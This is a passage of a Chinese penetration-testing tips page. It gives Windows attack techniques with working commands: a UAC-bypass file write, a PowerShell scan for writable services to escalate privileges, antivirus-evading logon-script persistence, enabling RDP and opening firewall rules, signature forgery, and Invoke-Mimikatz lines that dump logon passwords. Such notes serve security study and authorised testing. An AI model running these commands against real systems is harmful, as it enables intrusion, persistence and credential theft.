&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用py2exe

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用PyInstaller

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用方法和常见bug解决方法可参照参考链接&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_85" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 38 普通用户权限向管理员权限的路径下写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以普通用户权限向&lt;code&gt;c:\windows&lt;/code&gt;文件夹下释放文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7、Win8，学习自：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_86" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 39 在远程系统上执行程序的方法汇总&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;at

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;psexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;WMIC

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;wmiexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;smbexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;powershell remoting

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;新方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;DCOM
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_87" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 40 寻找Windows系统中可被利用的服务&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;枚举Windows系统服务对应可执行文件的路径，如果路径包含普通用户的写权限，那么该服务可被用来提升权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell代码:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
     If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
        If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
            If($a.Owner -ne "BUILTIN\Administrators"){                
                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
                Write-host Owner: $a.Owner
            }    
        }
    }
}
Write-host [+] All done.&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-powershell-to-find-a-writable-windows-service/"&gt;《Use powershell to find a writable windows service》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_88" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows系统支持Logon Scripts，Logon Scripts是在系统启动时执行，执行顺序要优先于杀毒软件，当然，杀毒软件无法拦截Logon Scripts中脚本的操作（杀毒软件尚未启动）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;关键在于杀毒软件会不会拦截Logon Scripts的配置使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用特殊操作添加Logon Scripts，杀毒软件不会拦截&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以上提到的杀毒软件是指“部分”杀毒软件，并不通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/"&gt;《Use Logon Scripts to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_89" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 42 编译c#程序注意事项&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目名要同namespace指定的名称对应，如果不对应，可在项目-属性-程序集名称中修改，否则生成的dll无法使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用csc.exe:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;保存为TestDotNet.cs，直接使用csc.exe生成就好：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果保存为a.cs，那么需要加/out参数指定输出文件为TestDotNet.dll，这样程序集名称也默认为TestDotNet（同源代码对应），否则，dll虽然能够被加载，但无法执行，参数如下：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs&lt;/code&gt;
&lt;hr&gt;
&lt;h3 id="toc_90" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 43 使用net use远程连接的端口问题&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用net use远程连接，目标如果开启了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标同时开放139和445端口，系统优先使用445端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，可使用139端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;目标如果禁用了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，无法连接
&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;
&lt;h3 id="toc_91" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 44 获得TrustedInstaller权限&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;SelectMyParent

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;Invoke-TokenManipulation.ps1

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;incognito

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/"&gt;渗透技巧——Token窃取与利用&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_92" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 45 3389远程连接&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_93" class="h16"&gt;&lt;span class="span_for_h"&gt;1、查询系统是否允许3389远程连接：&lt;/span&gt;&lt;/h4&gt;
&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1表示关闭，0表示开启&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看远程连接的端口：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber&lt;/code&gt;&lt;h4 id="toc_94" class="h16"&gt;&lt;span class="span_for_h"&gt;2、本机开启3389远程连接的方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1：通过cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2：通过reg文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;内容如下：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导入注册表：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;regedit /s a.reg&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改连接端口重启后生效&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;补充&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统未配置过远程桌面服务，第一次开启时还需要添加防火墙规则，允许3389端口，命令如下:&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow&lt;/code&gt;&lt;h4 id="toc_95" class="h16"&gt;&lt;span class="span_for_h"&gt;3、远程连接方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;kali使用3389远程连接：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;rdesktop 192.168.1.1:3389&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;mstsc.exe&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;非服务器版本的Windows系统，默认只允许一个账户登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;具体表现为：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程登录时，使用与原系统相同的账户，原系统将被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用不同的账户，原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;解决方法:&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用mimikatz.exe,执行&lt;code&gt;ts::multirdp&lt;/code&gt;允许多用户远程登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，使用与原系统相同的账户，原系统还是会被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;该方法在系统重启后失效，下次使用需要重新执行命令&lt;code&gt;ts::multirdp&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;也可通过修改文件termsrv.dll实现永久修改&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/"&gt;《渗透技巧——Windows系统远程桌面的多用户登录》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_96" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 46 使用netsh修改远程系统的防火墙规则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程系统需要&lt;code&gt;允许Windows防火墙远程管理&lt;/code&gt;,开启命令如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;netsh advfirewall set currentprofile settings remotemanagement enable&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_97" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 47 劫持UAC&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当弹出UAC提示框的时候，执行任意代码,可通过修改注册表劫持签名验证的功能，插入payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_98" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 48 PE文件的Authenticode签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表，能够给PE文件添加微软证书&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-%E9%92%88%E5%AF%B9%E6%96%87%E4%BB%B6%E7%B1%BB%E5%9E%8B%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0/"&gt;《Authenticode签名伪造——针对文件类型的签名伪造》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_99" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 49 PE文件的Catalog签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;构造Long UNC文件名，实现文件名欺骗，获得Catalog签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Catalog%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-Long-UNC%E6%96%87%E4%BB%B6%E5%90%8D%E6%AC%BA%E9%AA%97/"&gt;《Catalog签名伪造——Long UNC文件名欺骗》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_100" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 50 mklink&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;用于创建符号链接，可理解为快捷方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;创建目录c:\test\1，指向c:\temp，可使用以下操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1) 使用/D参数命令创建一个链接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /D &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2) 使用/J参数命令创建一个联接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /J &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;差异：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D参数创建的链接，文件属性多了&amp;quot;快捷方式&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/J不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;应用：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;更改释放文件的路径 &lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_101" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 51 powershell在执行脚本时传入参数&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_102" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 52 dll注入方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_103" class="h16"&gt;&lt;span class="span_for_h"&gt;1、APC&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
